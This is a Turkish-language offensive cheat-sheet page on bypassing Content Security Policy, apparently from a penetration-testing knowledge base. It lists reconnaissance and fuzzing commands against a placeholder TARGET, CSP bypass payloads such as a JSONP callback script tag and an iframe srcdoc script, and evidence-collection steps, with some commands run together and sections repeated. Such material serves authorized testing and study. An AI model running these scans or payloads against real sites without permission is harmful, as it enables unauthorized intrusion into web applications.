Content Security Policy (CSP) Bypass
web offensive
Content Security Policy (CSP) Bypass web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.
Metodoloji
Section titled “Metodoloji”-
Content Security Policy (CSP) Bypassgiriş noktalarını (param/header/cookie/upload/API) haritala. -
Hedefe özgü payload ve araçlarla hipotezi doğrula.
-
Okuma/yazma/RCE/bypass etkisini somut kanıtla.
-
Zincirleme senaryo ve kanıt paketini tamamla.
Hedef yığını, endpoint’leri ve auth sınırını netleştir.
curl -skI https://TARGET/whatweb -a 3 https://TARGETkatana -u https://TARGET -jc -d 3 -o crawl.txtffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403arjun -u https://TARGET/api/v1/item --getCSP bypass
Section titled “CSP bypass”curl -skI https://TARGET/ | rg -i content-security-policy<script src='/jsonp?callback=alert'></script><iframe src='https://TARGET/' srcdoc='<script>alert(1)</script>'>nonce reuse, angular gadget, 'unsafe-inline' + iframeOperasyon notları
Section titled “Operasyon notları”Content Security Policy (CSP) Bypass sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html